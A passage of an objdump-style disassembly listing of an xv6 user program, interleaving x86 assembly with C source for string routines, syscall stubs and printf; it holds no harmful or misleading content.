printf(2, "open failed\n");
3a46: c7 44 24 04 38 51 00 movl $0x5138,0x4(%esp)
3a4d: 00
3a4e: c7 04 24 02 00 00 00 movl $0x2,(%esp)
3a55: e8 a6 03 00 00 call 3e00 <printf>
exit();
3a5a: e8 43 02 00 00 call 3ca2 <exit>
3a5f: 90 nop
00003a60 <rand>:
unsigned long randstate = 1;
unsigned int
rand()
{
randstate = randstate * 1664525 + 1013904223;
3a60: 69 05 e0 61 00 00 0d imul $0x19660d,0x61e0,%eax
3a67: 66 19 00
}
unsigned long randstate = 1;
unsigned int
rand()
{
3a6a: 55 push %ebp
3a6b: 89 e5 mov %esp,%ebp
randstate = randstate * 1664525 + 1013904223;
return randstate;
}
3a6d: 5d pop %ebp
unsigned long randstate = 1;
unsigned int
rand()
{
randstate = randstate * 1664525 + 1013904223;
3a6e: 05 5f f3 6e 3c add $0x3c6ef35f,%eax
3a73: a3 e0 61 00 00 mov %eax,0x61e0
return randstate;
}
3a78: c3 ret
3a79: 66 90 xchg %ax,%ax
3a7b: 66 90 xchg %ax,%ax
3a7d: 66 90 xchg %ax,%ax
3a7f: 90 nop
00003a80 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
3a80: 55 push %ebp
3a81: 89 e5 mov %esp,%ebp
3a83: 8b 45 08 mov 0x8(%ebp),%eax
3a86: 8b 4d 0c mov 0xc(%ebp),%ecx
3a89: 53 push %ebx
char *os;
os = s;
while((*s++ = *t++) != 0)
3a8a: 89 c2 mov %eax,%edx
3a8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
3a90: 83 c1 01 add $0x1,%ecx
3a93: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
3a97: 83 c2 01 add $0x1,%edx
3a9a: 84 db test %bl,%bl
3a9c: 88 5a ff mov %bl,-0x1(%edx)
3a9f: 75 ef jne 3a90 <strcpy+0x10>
;
return os;
}
3aa1: 5b pop %ebx
3aa2: 5d pop %ebp
3aa3: c3 ret
3aa4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
3aaa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00003ab0 <strcmp>:
int
strcmp(const char *p, const char *q)
{
3ab0: 55 push %ebp
3ab1: 89 e5 mov %esp,%ebp
3ab3: 8b 55 08 mov 0x8(%ebp),%edx
3ab6: 53 push %ebx
3ab7: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
3aba: 0f b6 02 movzbl (%edx),%eax
3abd: 84 c0 test %al,%al
3abf: 74 2d je 3aee <strcmp+0x3e>
3ac1: 0f b6 19 movzbl (%ecx),%ebx
3ac4: 38 d8 cmp %bl,%al
3ac6: 74 0e je 3ad6 <strcmp+0x26>
3ac8: eb 2b jmp 3af5 <strcmp+0x45>
3aca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
3ad0: 38 c8 cmp %cl,%al
3ad2: 75 15 jne 3ae9 <strcmp+0x39>
p++, q++;
3ad4: 89 d9 mov %ebx,%ecx
3ad6: 83 c2 01 add $0x1,%edx
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
3ad9: 0f b6 02 movzbl (%edx),%eax
p++, q++;
3adc: 8d 59 01 lea 0x1(%ecx),%ebx
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
3adf: 0f b6 49 01 movzbl 0x1(%ecx),%ecx
3ae3: 84 c0 test %al,%al
3ae5: 75 e9 jne 3ad0 <strcmp+0x20>
3ae7: 31 c0 xor %eax,%eax
p++, q++;
return (uchar)*p - (uchar)*q;
3ae9: 29 c8 sub %ecx,%eax
}
3aeb: 5b pop %ebx
3aec: 5d pop %ebp
3aed: c3 ret
3aee: 0f b6 09 movzbl (%ecx),%ecx
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
3af1: 31 c0 xor %eax,%eax
3af3: eb f4 jmp 3ae9 <strcmp+0x39>
3af5: 0f b6 cb movzbl %bl,%ecx
3af8: eb ef jmp 3ae9 <strcmp+0x39>
3afa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
00003b00 <strlen>:
return (uchar)*p - (uchar)*q;
}
uint
strlen(const char *s)
{
3b00: 55 push %ebp
3b01: 89 e5 mov %esp,%ebp
3b03: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
3b06: 80 39 00 cmpb $0x0,(%ecx)
3b09: 74 12 je 3b1d <strlen+0x1d>
3b0b: 31 d2 xor %edx,%edx
3b0d: 8d 76 00 lea 0x0(%esi),%esi
3b10: 83 c2 01 add $0x1,%edx
3b13: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
3b17: 89 d0 mov %edx,%eax
3b19: 75 f5 jne 3b10 <strlen+0x10>
;
return n;
}
3b1b: 5d pop %ebp
3b1c: c3 ret
uint
strlen(const char *s)
{
int n;
for(n = 0; s[n]; n++)
3b1d: 31 c0 xor %eax,%eax
;
return n;
}
3b1f: 5d pop %ebp
3b20: c3 ret
3b21: eb 0d jmp 3b30 <memset>
3b23: 90 nop
3b24: 90 nop
3b25: 90 nop
3b26: 90 nop
3b27: 90 nop
3b28: 90 nop
3b29: 90 nop
3b2a: 90 nop
3b2b: 90 nop
3b2c: 90 nop
3b2d: 90 nop
3b2e: 90 nop
3b2f: 90 nop
00003b30 <memset>:
void*
memset(void *dst, int c, uint n)
{
3b30: 55 push %ebp
3b31: 89 e5 mov %esp,%ebp
3b33: 8b 55 08 mov 0x8(%ebp),%edx
3b36: 57 push %edi
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
3b37: 8b 4d 10 mov 0x10(%ebp),%ecx
3b3a: 8b 45 0c mov 0xc(%ebp),%eax
3b3d: 89 d7 mov %edx,%edi
3b3f: fc cld
3b40: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
3b42: 89 d0 mov %edx,%eax
3b44: 5f pop %edi
3b45: 5d pop %ebp
3b46: c3 ret
3b47: 89 f6 mov %esi,%esi
3b49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00003b50 <strchr>:
char*
strchr(const char *s, char c)
{
3b50: 55 push %ebp
3b51: 89 e5 mov %esp,%ebp
3b53: 8b 45 08 mov 0x8(%ebp),%eax
3b56: 53 push %ebx
3b57: 8b 55 0c mov 0xc(%ebp),%edx
for(; *s; s++)
3b5a: 0f b6 18 movzbl (%eax),%ebx
3b5d: 84 db test %bl,%bl
3b5f: 74 1d je 3b7e <strchr+0x2e>
if(*s == c)
3b61: 38 d3 cmp %dl,%bl
3b63: 89 d1 mov %edx,%ecx
3b65: 75 0d jne 3b74 <strchr+0x24>
3b67: eb 17 jmp 3b80 <strchr+0x30>
3b69: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
3b70: 38 ca cmp %cl,%dl
3b72: 74 0c je 3b80 <strchr+0x30>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
3b74: 83 c0 01 add $0x1,%eax
3b77: 0f b6 10 movzbl (%eax),%edx
3b7a: 84 d2 test %dl,%dl
3b7c: 75 f2 jne 3b70 <strchr+0x20>
if(*s == c)
return (char*)s;
return 0;
3b7e: 31 c0 xor %eax,%eax
}
3b80: 5b pop %ebx
3b81: 5d pop %ebp
3b82: c3 ret
3b83: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
3b89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00003b90 <gets>:
char*
gets(char *buf, int max)
{
3b90: 55 push %ebp
3b91: 89 e5 mov %esp,%ebp
3b93: 57 push %edi
3b94: 56 push %esi
int i, cc;
char c;
for(i=0; i+1 < max; ){
3b95: 31 f6 xor %esi,%esi
return 0;
}
char*
gets(char *buf, int max)
{
3b97: 53 push %ebx
3b98: 83 ec 2c sub $0x2c,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
cc = read(0, &c, 1);
3b9b: 8d 7d e7 lea -0x19(%ebp),%edi
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
3b9e: eb 31 jmp 3bd1 <gets+0x41>
cc = read(0, &c, 1);
3ba0: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
3ba7: 00
3ba8: 89 7c 24 04 mov %edi,0x4(%esp)
3bac: c7 04 24 00 00 00 00 movl $0x0,(%esp)
3bb3: e8 02 01 00 00 call 3cba <read>
if(cc < 1)
3bb8: 85 c0 test %eax,%eax
3bba: 7e 1d jle 3bd9 <gets+0x49>
break;
buf[i++] = c;
3bbc: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
3bc0: 89 de mov %ebx,%esi
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
3bc2: 8b 55 08 mov 0x8(%ebp),%edx
if(c == '\n' || c == '\r')
3bc5: 3c 0d cmp $0xd,%al
for(i=0; i+1 < max; ){
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
3bc7: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1)
if(c == '\n' || c == '\r')
3bcb: 74 0c je 3bd9 <gets+0x49>
3bcd: 3c 0a cmp $0xa,%al
3bcf: 74 08 je 3bd9 <gets+0x49>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
3bd1: 8d 5e 01 lea 0x1(%esi),%ebx
3bd4: 3b 5d 0c cmp 0xc(%ebp),%ebx
3bd7: 7c c7 jl 3ba0 <gets+0x10>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
3bd9: 8b 45 08 mov 0x8(%ebp),%eax
3bdc: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
3be0: 83 c4 2c add $0x2c,%esp
3be3: 5b pop %ebx
3be4: 5e pop %esi
3be5: 5f pop %edi
3be6: 5d pop %ebp
3be7: c3 ret
3be8: 90 nop
3be9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00003bf0 <stat>:
int
stat(const char *n, struct stat *st)
{
3bf0: 55 push %ebp
3bf1: 89 e5 mov %esp,%ebp
3bf3: 56 push %esi
3bf4: 53 push %ebx
3bf5: 83 ec 10 sub $0x10,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
3bf8: 8b 45 08 mov 0x8(%ebp),%eax
3bfb: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
3c02: 00
3c03: 89 04 24 mov %eax,(%esp)
3c06: e8 d7 00 00 00 call 3ce2 <open>
if(fd < 0)
3c0b: 85 c0 test %eax,%eax
stat(const char *n, struct stat *st)
{
int fd;
int r;
fd = open(n, O_RDONLY);
3c0d: 89 c3 mov %eax,%ebx
if(fd < 0)
3c0f: 78 27 js 3c38 <stat+0x48>
return -1;
r = fstat(fd, st);
3c11: 8b 45 0c mov 0xc(%ebp),%eax
3c14: 89 1c 24 mov %ebx,(%esp)
3c17: 89 44 24 04 mov %eax,0x4(%esp)
3c1b: e8 da 00 00 00 call 3cfa <fstat>
close(fd);
3c20: 89 1c 24 mov %ebx,(%esp)
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
return -1;
r = fstat(fd, st);
3c23: 89 c6 mov %eax,%esi
close(fd);
3c25: e8 a0 00 00 00 call 3cca <close>
return r;
3c2a: 89 f0 mov %esi,%eax
}
3c2c: 83 c4 10 add $0x10,%esp
3c2f: 5b pop %ebx
3c30: 5e pop %esi
3c31: 5d pop %ebp
3c32: c3 ret
3c33: 90 nop
3c34: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
int fd;
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
return -1;
3c38: b8 ff ff ff ff mov $0xffffffff,%eax
3c3d: eb ed jmp 3c2c <stat+0x3c>
3c3f: 90 nop
00003c40 <atoi>:
return r;
}
int
atoi(const char *s)
{
3c40: 55 push %ebp
3c41: 89 e5 mov %esp,%ebp
3c43: 8b 4d 08 mov 0x8(%ebp),%ecx
3c46: 53 push %ebx
int n;
n = 0;
while('0' <= *s && *s <= '9')
3c47: 0f be 11 movsbl (%ecx),%edx
3c4a: 8d 42 d0 lea -0x30(%edx),%eax
3c4d: 3c 09 cmp $0x9,%al
int
atoi(const char *s)
{
int n;
n = 0;
3c4f: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
3c54: 77 17 ja 3c6d <atoi+0x2d>
3c56: 66 90 xchg %ax,%ax
n = n*10 + *s++ - '0';
3c58: 83 c1 01 add $0x1,%ecx
3c5b: 8d 04 80 lea (%eax,%eax,4),%eax
3c5e: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
3c62: 0f be 11 movsbl (%ecx),%edx
3c65: 8d 5a d0 lea -0x30(%edx),%ebx
3c68: 80 fb 09 cmp $0x9,%bl
3c6b: 76 eb jbe 3c58 <atoi+0x18>
n = n*10 + *s++ - '0';
return n;
}
3c6d: 5b pop %ebx
3c6e: 5d pop %ebp
3c6f: c3 ret
00003c70 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
3c70: 55 push %ebp
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
3c71: 31 d2 xor %edx,%edx
return n;
}
void*
memmove(void *vdst, const void *vsrc, int n)
{
3c73: 89 e5 mov %esp,%ebp
3c75: 56 push %esi
3c76: 8b 45 08 mov 0x8(%ebp),%eax
3c79: 53 push %ebx
3c7a: 8b 5d 10 mov 0x10(%ebp),%ebx
3c7d: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
3c80: 85 db test %ebx,%ebx
3c82: 7e 12 jle 3c96 <memmove+0x26>
3c84: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
3c88: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
3c8c: 88 0c 10 mov %cl,(%eax,%edx,1)
3c8f: 83 c2 01 add $0x1,%edx
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
3c92: 39 da cmp %ebx,%edx
3c94: 75 f2 jne 3c88 <memmove+0x18>
*dst++ = *src++;
return vdst;
}
3c96: 5b pop %ebx
3c97: 5e pop %esi
3c98: 5d pop %ebp
3c99: c3 ret
00003c9a <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
3c9a: b8 01 00 00 00 mov $0x1,%eax
3c9f: cd 40 int $0x40
3ca1: c3 ret
00003ca2 <exit>:
SYSCALL(exit)
3ca2: b8 02 00 00 00 mov $0x2,%eax
3ca7: cd 40 int $0x40
3ca9: c3 ret
00003caa <wait>:
SYSCALL(wait)
3caa: b8 03 00 00 00 mov $0x3,%eax
3caf: cd 40 int $0x40
3cb1: c3 ret
00003cb2 <pipe>:
SYSCALL(pipe)
3cb2: b8 04 00 00 00 mov $0x4,%eax
3cb7: cd 40 int $0x40
3cb9: c3 ret
00003cba <read>:
SYSCALL(read)
3cba: b8 05 00 00 00 mov $0x5,%eax
3cbf: cd 40 int $0x40
3cc1: c3 ret
00003cc2 <write>:
SYSCALL(write)
3cc2: b8 10 00 00 00 mov $0x10,%eax
3cc7: cd 40 int $0x40
3cc9: c3 ret
00003cca <close>:
SYSCALL(close)
3cca: b8 15 00 00 00 mov $0x15,%eax
3ccf: cd 40 int $0x40
3cd1: c3 ret
00003cd2 <kill>:
SYSCALL(kill)
3cd2: b8 06 00 00 00 mov $0x6,%eax
3cd7: cd 40 int $0x40
3cd9: c3 ret
00003cda <exec>:
SYSCALL(exec)
3cda: b8 07 00 00 00 mov $0x7,%eax
3cdf: cd 40 int $0x40
3ce1: c3 ret
00003ce2 <open>:
SYSCALL(open)
3ce2: b8 0f 00 00 00 mov $0xf,%eax
3ce7: cd 40 int $0x40
3ce9: c3 ret
00003cea <mknod>:
SYSCALL(mknod)
3cea: b8 11 00 00 00 mov $0x11,%eax
3cef: cd 40 int $0x40
3cf1: c3 ret
00003cf2 <unlink>:
SYSCALL(unlink)
3cf2: b8 12 00 00 00 mov $0x12,%eax
3cf7: cd 40 int $0x40
3cf9: c3 ret
00003cfa <fstat>:
SYSCALL(fstat)
3cfa: b8 08 00 00 00 mov $0x8,%eax
3cff: cd 40 int $0x40
3d01: c3 ret
00003d02 <link>:
SYSCALL(link)
3d02: b8 13 00 00 00 mov $0x13,%eax
3d07: cd 40 int $0x40
3d09: c3 ret
00003d0a <mkdir>:
SYSCALL(mkdir)
3d0a: b8 14 00 00 00 mov $0x14,%eax
3d0f: cd 40 int $0x40
3d11: c3 ret
00003d12 <chdir>:
SYSCALL(chdir)
3d12: b8 09 00 00 00 mov $0x9,%eax
3d17: cd 40 int $0x40
3d19: c3 ret
00003d1a <dup>:
SYSCALL(dup)
3d1a: b8 0a 00 00 00 mov $0xa,%eax
3d1f: cd 40 int $0x40
3d21: c3 ret
00003d22 <getpid>:
SYSCALL(getpid)
3d22: b8 0b 00 00 00 mov $0xb,%eax
3d27: cd 40 int $0x40
3d29: c3 ret
00003d2a <sbrk>:
SYSCALL(sbrk)
3d2a: b8 0c 00 00 00 mov $0xc,%eax
3d2f: cd 40 int $0x40
3d31: c3 ret
00003d32 <sleep>:
SYSCALL(sleep)
3d32: b8 0d 00 00 00 mov $0xd,%eax
3d37: cd 40 int $0x40
3d39: c3 ret
00003d3a <uptime>:
SYSCALL(uptime)
3d3a: b8 0e 00 00 00 mov $0xe,%eax
3d3f: cd 40 int $0x40
3d41: c3 ret
00003d42 <hello>:
SYSCALL(hello)
3d42: b8 16 00 00 00 mov $0x16,%eax
3d47: cd 40 int $0x40
3d49: c3 ret
00003d4a <halt>:
SYSCALL(halt)
3d4a: b8 17 00 00 00 mov $0x17,%eax
3d4f: cd 40 int $0x40
3d51: c3 ret
00003d52 <gettop>:
SYSCALL(gettop)
3d52: b8 18 00 00 00 mov $0x18,%eax
3d57: cd 40 int $0x40
3d59: c3 ret
3d5a: 66 90 xchg %ax,%ax
3d5c: 66 90 xchg %ax,%ax
3d5e: 66 90 xchg %ax,%ax
00003d60 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
3d60: 55 push %ebp
3d61: 89 e5 mov %esp,%ebp
3d63: 57 push %edi
3d64: 56 push %esi
3d65: 89 c6 mov %eax,%esi
3d67: 53 push %ebx
3d68: 83 ec 4c sub $0x4c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
3d6b: 8b 5d 08 mov 0x8(%ebp),%ebx
3d6e: 85 db test %ebx,%ebx
3d70: 74 09 je 3d7b <printint+0x1b>
3d72: 89 d0 mov %edx,%eax
3d74: c1 e8 1f shr $0x1f,%eax
3d77: 84 c0 test %al,%al
3d79: 75 75 jne 3df0 <printint+0x90>
neg = 1;
x = -xx;
} else {
x = xx;
3d7b: 89 d0 mov %edx,%eax
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
3d7d: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
3d84: 89 75 c0 mov %esi,-0x40(%ebp)
x = -xx;
} else {
x = xx;
}
i = 0;
3d87: 31 ff xor %edi,%edi
3d89: 89 ce mov %ecx,%esi
3d8b: 8d 5d d7 lea -0x29(%ebp),%ebx
3d8e: eb 02 jmp 3d92 <printint+0x32>
do{
buf[i++] = digits[x % base];
3d90: 89 cf mov %ecx,%edi
3d92: 31 d2 xor %edx,%edx
3d94: f7 f6 div %esi
3d96: 8d 4f 01 lea 0x1(%edi),%ecx
3d99: 0f b6 92 07 59 00 00 movzbl 0x5907(%edx),%edx
}while((x /= base) != 0);
3da0: 85 c0 test %eax,%eax
x = xx;
}
i = 0;
do{
buf[i++] = digits[x % base];
3da2: 88 14 0b mov %dl,(%ebx,%ecx,1)
}while((x /= base) != 0);
3da5: 75 e9 jne 3d90 <printint+0x30>
if(neg)
3da7: 8b 55 c4 mov -0x3c(%ebp),%edx
x = xx;
}
i = 0;
do{
buf[i++] = digits[x % base];
3daa: 89 c8 mov %ecx,%eax
3dac: 8b 75 c0 mov -0x40(%ebp),%esi
}while((x /= base) != 0);
if(neg)
3daf: 85 d2 test %edx,%edx
3db1: 74 08 je 3dbb <printint+0x5b>
buf[i++] = '-';
3db3: 8d 4f 02 lea 0x2(%edi),%ecx
3db6: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1)
while(--i >= 0)
3dbb: 8d 79 ff lea -0x1(%ecx),%edi
3dbe: 66 90 xchg %ax,%ax
3dc0: 0f b6 44 3d d8 movzbl -0x28(%ebp,%edi,1),%eax
3dc5: 83 ef 01 sub $0x1,%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
3dc8: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
3dcf: 00
3dd0: 89 5c 24 04 mov %ebx,0x4(%esp)
3dd4: 89 34 24 mov %esi,(%esp)
3dd7: 88 45 d7 mov %al,-0x29(%ebp)
3dda: e8 e3 fe ff ff call 3cc2 <write>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
3ddf: 83 ff ff cmp $0xffffffff,%edi
3de2: 75 dc jne 3dc0 <printint+0x60>
putc(fd, buf[i]);
}
3de4: 83 c4 4c add $0x4c,%esp
3de7: 5b pop %ebx
3de8: 5e pop %esi
3de9: 5f pop %edi
3dea: 5d pop %ebp
3deb: c3 ret
3dec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
3df0: 89 d0 mov %edx,%eax
3df2: f7 d8 neg %eax
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
3df4: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
3dfb: eb 87 jmp 3d84 <printint+0x24>
3dfd: 8d 76 00 lea 0x0(%esi),%esi
00003e00 <printf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
3e00: 55 push %ebp
3e01: 89 e5 mov %esp,%ebp
3e03: 57 push %edi
char *s;
int c, i, state;
uint *ap;
state = 0;
3e04: 31 ff xor %edi,%edi
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
3e06: 56 push %esi
3e07: 53 push %ebx
3e08: 83 ec 3c sub $0x3c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
3e0b: 8b 5d 0c mov 0xc(%ebp),%ebx
char *s;
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
3e0e: 8d 45 10 lea 0x10(%ebp),%eax
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
3e11: 8b 75 08 mov 0x8(%ebp),%esi
char *s;
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
3e14: 89 45 d4 mov %eax,-0x2c(%ebp)
for(i = 0; fmt[i]; i++){
3e17: 0f b6 13 movzbl (%ebx),%edx
3e1a: 83 c3 01 add $0x1,%ebx
3e1d: 84 d2 test %dl,%dl
3e1f: 75 39 jne 3e5a <printf+0x5a>
3e21: e9 c2 00 00 00 jmp 3ee8 <printf+0xe8>
3e26: 66 90 xchg %ax,%ax
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
3e28: 83 fa 25 cmp $0x25,%edx
3e2b: 0f 84 bf 00 00 00 je 3ef0 <printf+0xf0>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
3e31: 8d 45 e2 lea -0x1e(%ebp),%eax
3e34: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
3e3b: 00
3e3c: 89 44 24 04 mov %eax,0x4(%esp)
3e40: 89 34 24 mov %esi,(%esp)
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
state = '%';
} else {
putc(fd, c);
3e43: 88 55 e2 mov %dl,-0x1e(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
3e46: e8 77 fe ff ff call 3cc2 <write>
3e4b: 83 c3 01 add $0x1,%ebx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
3e4e: 0f b6 53 ff movzbl -0x1(%ebx),%edx
3e52: 84 d2 test %dl,%dl
3e54: 0f 84 8e 00 00 00 je 3ee8 <printf+0xe8>
c = fmt[i] & 0xff;
if(state == 0){
3e5a: 85 ff test %edi,%edi
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
3e5c: 0f be c2 movsbl %dl,%eax
if(state == 0){
3e5f: 74 c7 je 3e28 <printf+0x28>
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
3e61: 83 ff 25 cmp $0x25,%edi
3e64: 75 e5 jne 3e4b <printf+0x4b>
if(c == 'd'){
3e66: 83 fa 64 cmp $0x64,%edx
3e69: 0f 84 31 01 00 00 je 3fa0 <printf+0x1a0>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
3e6f: 25 f7 00 00 00 and $0xf7,%eax
3e74: 83 f8 70 cmp $0x70,%eax
3e77: 0f 84 83 00 00 00 je 3f00 <printf+0x100>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
3e7d: 83 fa 73 cmp $0x73,%edx
3e80: 0f 84 a2 00 00 00 je 3f28 <printf+0x128>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
3e86: 83 fa 63 cmp $0x63,%edx
3e89: 0f 84 35 01 00 00 je 3fc4 <printf+0x1c4>
putc(fd, *ap);
ap++;
} else if(c == '%'){
3e8f: 83 fa 25 cmp $0x25,%edx
3e92: 0f 84 e0 00 00 00 je 3f78 <printf+0x178>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
3e98: 8d 45 e6 lea -0x1a(%ebp),%eax
3e9b: 83 c3 01 add $0x1,%ebx
3e9e: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
3ea5: 00
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
3ea6: 31 ff xor %edi,%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
3ea8: 89 44 24 04 mov %eax,0x4(%esp)
3eac: 89 34 24 mov %esi,(%esp)
3eaf: 89 55 d0 mov %edx,-0x30(%ebp)
3eb2: c6 45 e6 25 movb $0x25,-0x1a(%ebp)
3eb6: e8 07 fe ff ff call 3cc2 <write>
} else if(c == '%'){
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
3ebb: 8b 55 d0 mov -0x30(%ebp),%edx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
3ebe: 8d 45 e7 lea -0x19(%ebp),%eax
3ec1: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
3ec8: 00
3ec9: 89 44 24 04 mov %eax,0x4(%esp)
3ecd: 89 34 24 mov %esi,(%esp)
} else if(c == '%'){
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
3ed0: 88 55 e7 mov %dl,-0x19(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
3ed3: e8 ea fd ff ff call 3cc2 <write>
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
3ed8: 0f b6 53 ff movzbl -0x1(%ebx),%edx
3edc: 84 d2 test %dl,%dl
3ede: 0f 85 76 ff ff ff jne 3e5a <printf+0x5a>
3ee4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
putc(fd, c);
}
state = 0;
}
}
}
3ee8: 83 c4 3c add $0x3c,%esp
3eeb: 5b pop %ebx
3eec: 5e pop %esi
3eed: 5f pop %edi
3eee: 5d pop %ebp
3eef: c3 ret
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
state = '%';
3ef0: bf 25 00 00 00 mov $0x25,%edi
3ef5: e9 51 ff ff ff jmp 3e4b <printf+0x4b>
3efa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
3f00: 8b 45 d4 mov -0x2c(%ebp),%eax
3f03: b9 10 00 00 00 mov $0x10,%ecx
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
3f08: 31 ff xor %edi,%edi
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
3f0a: c7 04 24 00 00 00 00 movl $0x0,(%esp)
3f11: 8b 10 mov (%eax),%edx
3f13: 89 f0 mov %esi,%eax
3f15: e8 46 fe ff ff call 3d60 <printint>
ap++;
3f1a: 83 45 d4 04 addl $0x4,-0x2c(%ebp)
3f1e: e9 28 ff ff ff jmp 3e4b <printf+0x4b>
3f23: 90 nop
3f24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
} else if(c == 's'){
s = (char*)*ap;
